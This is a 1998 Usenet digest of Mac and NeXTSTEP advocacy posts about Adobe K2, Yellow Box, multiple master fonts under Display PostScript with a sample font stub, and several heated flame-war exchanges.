>appears you really haven't looked at the platform at all, because it has a
>GUI IDE that's OK (not as good as CW's though) and a development
>_systemology_ that's unbelevable. Literally, I did not believe it until I
>tried it.
Okay, so you can't be bothered to read the disclamer at the top of
my message that said "*Just* on the subject of tools, and avoiding
the YB debate for a moment...".
> This strikes me as one more example of what really gets my craw - you
>haven't seen the system but based on other arguments which are equally
wrong
>you're willing to write it off. This is not aimed at you personally, but I
>see this as a common problem in the entire Mac developer community -
they're
>terrified of OpenStep but for no reason because the majority haven't even
>bothered to go to Apple's excellent web pages and read about it.
My response to you is aimed at you specifically.
If you can't be bothered to read the disclamer at the top of my
message (avoiding the YB debate for the moment), I can't be held
responsible for the bitter taste in your mouth you feel when you
misunderstand my arguments.
I am *not* talking about the YB development environment. I'm talking
about the difference between freeware development tools and
commercially supported development tools.
Now if you care to re-read my message and respond to it *at face
value*, please feel free to do so.
>> I don't think many companies will be comfortable developing
>> using the GNU tools regardless of the degree of "free"
>> support there is out there--they want to know there is a
>> company out there who is backing the tools.
>
> Outdated concepts from the pre-internet days.
Shit, it'd be nice if someone would actually read what the
hell I post. Or is that one of those "outdated concepts
from pre-internet days?"
- Bill Woody
The PandaWave
(Who remembers that when it was still called 'arpanet', people
at least bothered to read my messages.)
From: tenbrook <wtenbrook@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Adobe K2: Where's the Yellow Box?
Date: Sat, 05 Sep 1998 15:13:31 -0700
Organization: EarthLink Network, Inc.
Message-ID: <35F1B78A.E8792B73@earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Steve Jobs had Adobe demo their new page layout system, codename K2, at
Seybold. MacWeek and others have reported that this will run under
MacOS 8.5 and under Carbon API's on MacOS X.
What has happened to the Yellow Box paradigm? Adobe is apparently
writing new code from the ground up, and wants MSWindows market share,
so why write an entirely new system to operate on the Mac toolbox,
albeit Carbon updated, instead of writing a Yellow K2 that would run on
Windows with recompile?
Is this peculiar to Adobe, or are the Yellow (OPENSTEP) libraries being
ignored by developers in general? Has Apple dropped evangelism for
Yellow programming?
Perhaps MacOS X is just too far over the horizon for Adobe to write K2
as a Yellow app. Any comments on all this?
From: Melissa O'Neill <NoOnSePiAlMl@cs.sfu.ca>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc
Subject: MM fonts under DPS (was: Adobe K2: Where's the Yellow Box?)
Followup-To: comp.sys.next.misc
Date: 8 Sep 1998 00:04:01 GMT
Organization: School of Computing Science, Simon Fraser University, BC, Canada
Message-ID: <6t1s9h$nb0$1@morgoth.sfu.ca>
References: <6t00cr$oct$1@oak.prod.itd.earthlink.net> <1998090714172800.KAA18110@ladder03.news.aol.com> <6t1hjo$f29$1@usenet01.srv.cis.pitt.edu>
Originator: oneill@cs.sfu.ca (Melissa O'Neill)
[[ Followups redirected to comp.sys.next.misc, since this message ]]
[[ and its predecessor contain facts and tips, rather than advocacy. ]]
WillAdams <willadams@aol.com> wrote:
>> Just out of curiousity--anyone know how far Adobe got in implementing
>> multiple master fonts under Display PostScript?
... and John Haugeland <jch@cube.philosophy.pitt.edu> replied:
> I'm not entirely sure what your question is, but MM fonts work just fine
> under DPS -- they're just postscript programs, after all (like any type-1
> font). [...]
Absolutely.
> In case anybody's interested, here's a quick summary of what I've done
> that works:
>
> [Myriad of complex steps deleted].
I have an easier way, that doesn't require any proprietary tools
like ATM Delxue or Y&Y's font manipulation package.
A NEXTSTEP font has two parts, PostScript code that defines the
font (usually a PFA file, but potentially arbitrary PostScript),
and metrics used by the AppKit (in the form of an AFM file). To
use a multiple master font, you need to solve two problems: generating
appropriate PostScript code for an instance; and generating
appropriate metrics.
Both of these tasks can be accomplished by using Eddie Kohler's
mminstance tools (*), which can generate a single-master AFM and
PFB file from a multiple master font and metrics. (To do this, you
need the master AFMs and master AMFM files, which you often don't
get with the font, but you can usually find on Adobe's AFM file
ftp site).
(*) See http://www.pdos.lcs.mit.edu/~eddietwo/type/
However, I consider it wasteful to store a single-master PFB file
for an instance when the DPS machinery can easily handle auto-generating
the instance from its multiple-master parent (for this to work,
you need to store the master font itself in the fonts directory,
even though it won't have an AFM file and thus won't show up in
the Fonts Panel, so that DPS can find it). With this method the
PostScript code parts of the font are a simple stub that generates
the instance. A downside of this approach is that the MM fonts must
also be in the printer, but that's fine for my applications.
Melissa.
P.S. As a final touch, you can, of course, do a little tweaking so
that the instances have nice names in the font panel. This requires
appropriate edits to the AFM file and PostScript code file. [And
for double points, you can get the font working with TeX too, which
is a whole other story (but doable).]
Enclosed is a sample stub, for KeplerMM10pt-Regular.font/KeplerMM10pt-Regular
---
/KeplMM findfont pop % Ensure the MM findfont operator gets loaded
% by loading (and discarding) an MM font
% (the one we'll use!).
/KeplerMM10pt-Regular /KeplMM_385_575_10_
% English Name and Actual Instance
findfont dup maxlength 1 add dict begin
{1 index /FID ne {def} {pop pop} ifelse} forall
currentdict /FontInfo known
{ /FontInfo dup load dup maxlength 1 add dict begin {def} forall
/FullName (Kepler MM 10pt Regular) def
/FamilyName (Kepler MM 10pt) def
% Nice Names for font panel, echoed in AFM
% file.
currentdict end def
} if
/FontName 1 index def currentdict end definefont pop
---
To reply by e-mail, you must remove `N O S P A M' from my e-mail address.
From: "KME" <nospam@nospam.nospam>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 7 Sep 1998 09:33:52 -0500
Organization: World Trade Network, Inc.
Message-ID: <6t0qnh$q0s$1@news4.wt.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu>
BrTe wrote in message ...
>you are either an ubergeek with a knowledge base unmatched by the kings of
>the industry, or a know it all jerk. Since I have never met an ubergeek
>with that much knowledge in my life, and yet can't throw a stone without
>hitting a know it all jerk, you can tell where I put the probabilities.
>
>If you want to prove me wrong, why don't you explain how the motherboard
>works in *detail*, including chip serial numbers, machine level coding,
>signal descriptions, bus operations, registers, modes, etc.
Geez, a little rude. I think the guy's point was that any fool can assemble
a computer from stock parts -- its not hard at all. Try assembling a car
that way.
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sun, 06 Sep 1998 11:48:48 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0609981148480001@jchristie.halifaxcable.dal.ca>
References: <*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca> <B21760D8-A78A@206.165.43.97> <joe.ragosta-0609980735250001@elk72.dol.net>
In article <joe.ragosta-0609980735250001@elk72.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> IIRC, $500 is the minimum paid developer level. You get all the CDs and tools.
>
> However, you can download all the information for free. So there's no $500
> minimum.
YB is not part of the downloadable components. You need to be a $500
level developer to get any useable Rhapsody stuff.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Message-ID: <1998090617102500.NAA17594@ladder01.news.aol.com>
Date: 6 Sep 1998 17:10:24 GMT
Organization: AOL http://www.aol.com
References: <6stc1a$137o$1@piglet.cc.uic.edu>
Adobe turned its back on the Yellow Box already--when they abandoned
Illustrator 3.0.1 for NeXTstep and discontinued development of PhotoShop for
NeXTstep.
K2 has been in development for a long while now, as a Mac application and
presumably using whatever internal system they have for maintaining an
application on two (or more) operating systems.
I'd like to get excited about K2, since presumably it'll include Hermann Zapf's
HZ hyphenation & justification and linebreaking algorithm (developed by URW),
but, it's all such a small improvement over what NeXTstep already offers that
I'm finding it hard to care less.
At least with TeX, I can get the source code and be certain of being able to
use the tool on the platform of my choice.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Wayne Fellows" <wfellows@*stop_spam*earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 6 Sep 98 17:48:51 +0000
Organization: EarthLink Network, Inc.
Message-ID: <B2187B86-2132B9@153.36.240.74>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.mac.advocacy,
nntp://news.earthlink.net/comp.sys.next.advocacy
On Sun, Sep 6, 1998 7:21 PM, Steve Sullivan <mailto:macghod@concentric.net>
wrote:
>hmmm, I am not familiar with this. You can change every little thing?
>what about big things, such as the menubar at the top? Can you customize
>it so it is a replica of openstep 4.2 interface?
Actually you can come close. You can designate the font, change the Apple
picture, and add colors and textures to the menus. You can also change the
shape of windowing elemends, so your desktop can look like pretty much
anything. There are schemes for BeOS, NeXT, the game Fallout, a rusty
boilerplate, anything you can think of. My personal favorite is Pussy
Galore...
From: Jim Mueller <webnik@globaldialog.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Mon, 07 Sep 1998 20:58:04 -0500
Organization: http://www.globaldialog.com/~webnik/
Message-ID: <35F48F2C.6526@globaldialog.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <6t150u$mfe@news1.panix.com> <35F50108.2663D036@nstar.net>
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Apple MUST win over business to survive.
The key products that businesses use are Networking, Office Suite,
high-performance Data Base, CAD, Graphics Packages, and an easy
Programming Language.
The market share leaders in those areas are Novell Netware and WinNT
Server, MS Office, Oracle, AutoCAD, Pro-E, and MicroStation, Adobe and
Corel, and Visual Basic.
If you were a business and needed all those products, which platform
would you choose? Please, don't expect a business to run AutoCAD, Visual
Basic, or Access under PC emulation on a Mac.
What can Apple do about the bind they are in?
They must convince those software developers to port a compatible
version to the Mac.
If I were Steve Jobs, I would pay the expense for Auto Desk to port
AutoCAD to the MAc. I would pay Microsoft to port Visual Basic and
Access to the MAc, assuming it can be done.
The other solution is for Apple or a Mac developer, to produce a product
SO SUPERIOR that it will replace the competing product. It's unlikely to
happen, since the technically superior product, doesn't always win in
the market place.
Other than that, the Mac will remain a niche product for the home... if
Apple is lucky!
From: "Lawson English" <english@primenet.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 6 Sep 98 19:08:40 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2188E41-2E44A@206.165.43.166>
References: <82HI1.1591$2s.1694532@newsfeed.slurp.net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
Dan <dan@knowspaam.com> said:
>
>If I drag a folder called "Junk" to the Recycle Bin which has 100 files in
>it, and I open the Recycle Bin I will see a folder named "Junk".
>
>....I can send you a screen shot if you wish. Unless you are talking about
>something else.
But what if the folder "junk" contains the folder "more junk" which
contains the folder "even more junk" which contains the file "my junk"?
If you "restore" the folder "junk", is my junk still inside even more junk
which is still instde more junk which is still inside junk?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 07 Sep 1998 10:30:28 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F3FC14.57B2FD92@nstar.net>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net>
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NNTP-Posting-Date: 7 Sep 1998 02:27:07 GMT
Joe Ragosta wrote:
> You can change _ANYTHING_ about Mac OS. Get yourself ResEdit and there's
> not a piece of the OS you can't change.
Good point. Get yourself a hex editor and you can change anything about
Linux, too.
MJP
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
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References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net>
Message-ID: <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com>
Date: Mon, 07 Sep 1998 05:02:46 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 22:02:46 PDT
Organization: @Home Network
In <6stfdn$ejl$1@fir.prod.itd.earthlink.net> "Ziya Oz" wrote:
[snip good points about Apple leading innovations]
> Currently the market is "wanting" Windows overwhelmingly. Are you
suggesting
> Apple fold up and become a Windows vendor?
No I'm not suggesting Apple fold up.
Yes, I'm adamant that Apple get into Windows. DOJ should ease Apple's entry
into Windows ruling MS should bundle more vendors products at start-up. I
want YB stuff running on Windows.
> Drop QuickTime and license RealAudio?
Not up on QT... can't say. But if QT does RA one better, they should be
giving, promoting and sponsoring content in QT to "show" the market there is
a difference.
> Drop WebObjects and license .asp/IIS technology?
Maybe... either give WO the support, leadership and R&D it needs to become
another LotusNotes
Or... IPO
Or... sell WO to a development house that can suite a development pkg
together for WO.
> Give up YB for VB?
>
Troll... YB are the crown jewels. YB is not a language but I can
understand your point. YB + Carbon represent Apple's stock in-trade going
into the next century. But yeah, go ahead put a VB API onto YB, sure.
> The majority will almost always go for the LCD, the "safe" and the
"boring."
> Nothing new about that.
>
>
OK, we agree on Reality. This is good...
> Those who don't really share the value system of Apple
> will never like its products.
>
>
Oh No... don't dismiss the reality in front of you for your own Walt Disney
version. Stay with it.
See, that is just too easy ±€elitist to say. Sorry, can't float that one.
If you accept that premise, the rest of Apple's excercise is left conquering
that portion of the Planet who don't already own a computer and/or can't
afford one. Remember Apple is very democratic... "the computer for the rest
of us"?
The job would be too fragmented, distributed and non-homogenous. Here is
what I want Apple to do:
Premise#0: Apple needs middleware to servers
Premise#1: Apple needs NT departmental solutions
Premise#2: Apple needs to be on the desktop
Premise#3: Apple needs to be in your PDA
Foundation#0: WO + EOF for "ServerApps"
Foundation#1: Rhapsody SMP cross-platform to Intel, HP, etc... repackaged
Foundation#2: MacOS X
Foundation#3: Buy/license PSION's Epoc OS
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 06 Sep 1998 21:51:45 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <joe.ragosta-0609982205020001@elk66.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> You can change _ANYTHING_ about Mac OS. Get yourself ResEdit and there's
> not a piece of the OS you can't change.
Sure, but it doesnt mean it will work. If I dont like the menubar, I can
delete it. The os wont work tho. Next people might tell you a menu at
the top wastes screen space. Can you remove the menubar from the top of
the screen?
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: not@work.bum (BrTe)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 07 Sep 1998 20:19:42 -0700
Organization: home
Message-ID: <not-ya02408000R0709982019420001@news.colorado.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <35F4FB4B.4A1C8422@nstar.net>
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In article <35F4FB4B.4A1C8422@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> BrTe wrote:
>
> [cut]
>
> > I don't see anything above that should lead you to that conclusion on
> > the level you seem to be implying. However, I would be surprised if you
> > know exactly how the cpu is shuffling each bit and performing its
> > calculations and also how the magnetic media is being manupulated
> > physically to store information and how the sound is being encoded and
> > decoded from digital information into analog into actual soundwave in a
> > circuit board.
>
> A CS major who doesn't know these things is in sad shape.
Well, that rules out all the CS majors I have ever met. Including my
professors. Gee... I wonder how they get those high paying jobs, start
their own companies and have dozens of patents to their names when they are
in such sad shapes.
> > If you think you know all the detailed aspects of how these
> > things are working and how to reproduce it from scratch even in theory then
> > you are either an ubergeek with a knowledge base unmatched by the kings of
> > the industry,
>
> I'm sorry, it doesn't take an ubergeek to understand the level of detail
> you've described. It's irrelevant, anyway; a computer can be built from
> scratch and operated trivially with a very minimal level of knowledge. I
> know plenty of high school students with little or no professional
> experience who can perform these tasks.
I can perform the task of putting together a computer. I have friends who
can and have put together cars from scratch as a hobby. But the level of
knowledge you say is no big deal is higher than I have ever seen anybody
posses in my life.
> > Since I have never met an ubergeek
> > with that much knowledge in my life, and yet can't throw a stone without
> > hitting a know it all jerk, you can tell where I put the probabilities.
>
> Happy to report that I am both, although you've probably met more of
> these "ubergeeks" than you think. Do you know any CS or EE majors?
Better question to be asking me: How many do you know who are not?
> > What he was talking about was each and every chip in the computer, and
> > the boards, the power supply, the media and the media readers, etc.
>
> Why do these matter? I have an ATX power supply with 250 watt output.
> That's all I need to know. I have an ATX case. I have an ATX
> motherboard. I have a Pentium II 333 CPU. I have a Pentium II CPU fan. I
> have a SCSI card. I have a SCSI disk. I have a sound card. I have
> multimedia speakers. I have a VGA monitor. I have a serial external
> modem. I have an ATAPI CD-ROM.
In my car, I have a no maintanence battery (forgot brand). Dual overhead
sixteen cam fuel injection system. A motorolla timing cpu (iirc). And so on
and so forth... I know how they fit together and what they do, but I don't
have nearly a clue how they work at the level that was implied. It took a
team of people with a lot of expertise days to months to design and
implement each little piece, from the blower assembly to the little diodes.
I can tell when the timing belt is off, or the gas/air mixture needs to be
adjusted, I have actually spent a lot of time with the official Toyota
repair manual I have for my car (don't buy Chilton's manuals, they really
suck... especially if you own a short product run car like a Toyota Celica
GT-S) and at that I know more than the avarge joe on the road. Even so, I
don't have a clue how the *thousands* of pieces of the car work together.
Heck, I'm just plain clueless about my car, period, but that's another
thing entirely.
In terms of computer. A friend of mine is in charge of the entire logic
board for one of the Exabyte tape drives. He graduated top of his class,
has every honors society tagged after his name and was a president of a
few. He is regarded as one of the key personnel of Exabyte, who could cost
the company millions if he left. Yet how much does he know about what each
compnent of his very own logic board does? He knows the principles, and the
purpouse of each component. But what is actually happening at each step?
How a particular controller was put together? Umm, no, he doesn't. His team
puts it together according to a design, they test it. If it fails, they
make a hypothesis of what's wrong, fix it, try again, etc. until they get
it right. That's the reality of the industry. Multiply this process by 10
and you get your avarage component of a computer. Multiply by a thousand,
and you get your avarage computer.
> Why do I care about the individual properties of any of these things? I
> can put them all together and have a working computer.
Same goes for a car.
> By contrast, you cannot hand me thousands of distinct and totally
> individual car parts (which is how they are packaged before assembly)
> and ask me to build a Chevy S-10. You cannot ask me to sell one. You
> cannot ask me to advertise one. Computers are not like automobiles.
Actually, if you have ever seen how engines, etc. are replaced, they do
come as preassembled units. It takes a bit more effort to put the
components in (but it's not rocket science by any stretch of the
imagination...) but then you aren't barreling down bumpy asphalt at 60mph
in your computer. There is a point at which all analogies fail... Get this,
that's why they are called A-N-A-L-O-G-I-E-S. You are supposed to intuit
what a person is trying to say from the analogies. You do it by using
something called an I-M-A-G-I-N-A-T-I-O-N. Sure, CS majors forget about
that pert of their existance, but its a feature not a bug.
> I once worked for a company in New York that built automobile parts for
> Borg-Warner. They come off of a 500-ton press as folded, punched,
> stamped metal. They are shipped to an assembly plant in Detroit where
> hundreds of robots and manual workers assemble them -- with thousands of
> other parts -- into a complete automobile with strict standards of
> detail and accuracy. If a part does not fit because of a
> 100th-of-an-inch defect, Borg-Warner is very upset with Acro
> Manufacturing and will not give Acro the industry awards that Acro has
> been winning for years.
Yes, and the same thing applies to computers... If a Texas Instrument
SCSI controller chip doesn't work, the whole HP SCSI card is trash. But
Borg-Warner be damned if they knew every aspect of how their part effects
the entire car, from something entirely knowable like it's fitting in the
assembly and it's purpose to something off the wall like how it's
conducting engine heat to the radiator belts. They be double damned if they
knew how every other part of that car functioned.
> > You
> > can't know how all these things work without at least 20 years of study,
> > just that they do.
>
> Baloney. I would be failing classes if I could not learn these things in
> a single semester.
My, what an impressive curriculum!
Another example: Look at the mod chip for the Sony Playstation. It was a
simple task of disabling certain information from getting where it needed
to go and being recognized. The people who designed it knew the specifics
of the info, the layout of the motherboard, and how to build a chip to do
what they needed. But could they use that knowledge to totally reverse
engineer the entire system down to the controllers and the proprietary
chips so that they could make their own little consoles. Not unless they
formed a big team and spent a whole lot of time (like months). You can know
something easily at a superficial degree (and by that I don't mean the
level of someone who has never opened up their playstation or has simply
put together a computer... That kind of knowledge is way too superficial to
be acknowledged in this case)... It only takes a couple of weeks to know
that stuff, but even there you are praying to the chip gods for the
thousands of pieces to work together like they are supposed to. Like any
motherboard manufacturer or hard drive design teams.
> > Same thing with a car... the guy who made the air
> > conditioner for it has no clue how the fuel injection system works, and
> > s/he's as close as you can get to an expert. Ergo, the same deal.
>
> No, these things are designed by engineers and the instructions are
> passed out to various contractors who build the parts according to their
> own expertises. They parts are joined together at an automobile assembly
> plant.
Umm... Do I really have to use that precise of wording for you? You're
almost as bad as a computer!
> By contrast, anyone with simple knowledge of various computer parts can
> assemble a machine from separately-packaged, *retail-available* parts
> like CD-ROMs and hard disks. I built IBM PCs in junior high school. I
> quit because there were hundreds of people my age who could do it better
> than I.
Wow... What were you doing wrong? It's not that hard! There is a steep
learning curve in some cases possibly. But it's almost as easy as putting
model planes together.
BTW I thing apple should get into the business of selling motherboards for
do-it-yourselfers. It's easier to produce. Still would make them a lot of
money. And would help them penetrate a very important market segment.
Especially the cheap mom and pop outfits who do in-house support.
> > If you want to prove me wrong, why don't you explain how the motherboard
> > works in *detail*, including chip serial numbers, machine level coding,
> > signal descriptions, bus operations, registers, modes, etc.
>
> These are not part of the component-level problem for me. All I have to
> know is that I have a motherboard with X simple properties and I can use
> it. It doesn't matter who made it, it doesn't matter where I got it. By
> contrast, you cannot interface a Chevy small-block V8 with a Ford Taurus
> chassis without considerable modification. The Chevy engine is highly
> specialized for the specific purpose of driving a Chevy Camaro for a
> particular model-year.
Same thing happens with cpu's. You can't pop a Alpha chip on any old
motherboard and expect results. The automobile market developed in the
standard business model. Much like Apple, IBM, etc. were expecting the
computer industry to develop. It didn't. The analogy breaks here, but the
analogy also does not apply here... You are looking to break the analogy by
taking it out of context.
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <82HI1.1591$2s.1694532@newsfeed.slurp.net> <B2188E41-2E44A@206.165.43.166>
Subject: Re: What we need from Mac OSuX
Message-ID: <xMLI1.1885$2s.1861189@newsfeed.slurp.net>
Date: Mon, 07 Sep 1998 07:17:49 GMT
NNTP-Posting-Date: Mon, 07 Sep 1998 00:17:49 PDT
Organization: Slurp News Feeds
Lawson English wrote in message ...
drag a folder called "Junk" to the Recycle Bin which has 100 files in
>>it, and I open the Recycle Bin I will see a folder named "Junk".
>>
>>....I can send you a screen shot if you wish. Unless you are talking about
>>something else.
>
>But what if the folder "junk" contains the folder "more junk" which
>contains the folder "even more junk" which contains the file "my junk"?
>
>If you "restore" the folder "junk", is my junk still inside even more junk
>which is still instde more junk which is still inside junk?
Yes. I just tested it. I can drag a folder that goes many folders deep (6 in
my test), with files spread out throughout those folders to the Recycle Bin,
and when I restore the root folder, they all return to their original
location.
Dan
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Date: 7 Sep 1998 05:27:52 GMT
Organization: Idiom Communications
Message-ID: <6svqso$pn8$1@news.idiom.com>
References: <6stc1a$137o$1@piglet.cc.uic.edu> <1998090617102500.NAA17594@ladder01.news.aol.com>
<LGHI1.3517$_c3.13399209@news.rdc1.nj.home.com>
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Cc: cvbuskirk@home.com
"Chris Van Buskirk" may or may not have said:
-> Jeezz, you nextstep people are so pompous and arrogant.
And you mac toolbox dweebs are so deliberately ignorant! Christ, you're like
a pack of lamp-oil vendors bitching at Edison.
-> Maybe if any of you built something like K2, you would have room to talk.
-> Nothing but talk from yellow box programmers.....nothing but talk.
Thanks you for the misinformed view, Chris.
Now, go look at Create! by Stone Designs, and then you can come back here and
tell us again how "yellow box" programmers have never built somthing like K2.
Adobe studied Create!, just like Netscape studied OmniWeb.
Next, go look the two hundred other apps that were written for nextstep, many
of which were later copied (at enourmous expense and inconvenience) on other
platforms. Openstep developers are the most productive people around,
because they're not CRIPPLED by the archaic APIs that you seem to love so
much.
Carbon: Why 1998 isn't much better than 1984.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Date: 7 Sep 1998 05:30:30 GMT
Organization: MiscKit Development
Message-ID: <6svr1m$oae$1@news.xmission.com>
References: <6stc1a$137o$1@piglet.cc.uic.edu> <1998090617102500.NAA17594@ladder01.news.aol.com> <LGHI1.3517$_c3.13399209@news.rdc1.nj.home.com>
NNTP-Posting-Date: 7 Sep 1998 05:30:30 GMT
"Chris Van Buskirk" <cvbuskirk@home.com> wrote:
> Jeezz, you nextstep people are so pompous and arrogant. Maybe if any of
> you built something like K2, you would have room to talk. Nothing but talk
> from yellow box programmers.....nothing but talk.
Well, you pompous, kneejerk *ss, I can think of at least _four_ _different_
NEXTSTEP, OPENSTEP, and/or YB applications that are comparable or _better_.
Not all are publically available for various reasons, but they _do_ exist.
Can Adobe say that they developed K2 or something like it with under _one_
man year of effort? Some of us YB programmers _can_ make that claim. Wake
up and smell the s*** you're shoveling.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: nhughes@sunflower.com (nate)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 07 Sep 1998 05:43:02 GMT
Organization: KU
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On 6 Sep 98 19:08:40 -0700, "Lawson English" <english@primenet.com>
wrote:
>>....I can send you a screen shot if you wish. Unless you are talking about
>>something else.
>
>
>
>But what if the folder "junk" contains the folder "more junk" which
>contains the folder "even more junk" which contains the file "my junk"?
You guys argue over the recycle bin too much. The best thing to do is
turn the damn thing off and pay attention to what you do.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: Mon, 7 Sep 1998 01:00:31 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6svstq$au61@odie.mcleod.net>
References: <6sva1t$12381@odie.mcleod.net> <B2188FA4-337A1@206.165.43.166>
Lawson English wrote in message ...
>
>
>>From: Michelle L. Buck <buck.erik@mcleod.net>
>>Subject: File interchange formats
>>Date: Sunday, September 06, 1998 4:26 PM
>>Standard file interchange formats are a good thing!
>>
[Deleted]
>>1) The NSBezierPath class is capable of representing all 2D graphical
>>shapes
>>any reasonable person would create. Such shapes include text outlines,
>>discontinuous shapes, open shapes, concave shapes, convex shapes, shapes
>>with as few as one point, shapes with 100,000 points, shapes with
>>quadratic
>>bezier curves, etc. NSBezierPath encapsulates all vector image
>>descriptions.
>
>
>It handles NURBS ala QD3D and OpenGL?
>
I should have written 2D paths.
[Deleted]
>>4) Any NSBezierPath or NSImage can be transformed into another
>>NSBezierPath
>>or NSImage via a NSAffineTransformation.
>
>But not any image that has had a 3x3 perspective (or pseudo-perspective, or
>the purists) applied to it. To do this you'd need a non-affine transform
>and to make that useable, you'd need a graphics engine that already knows
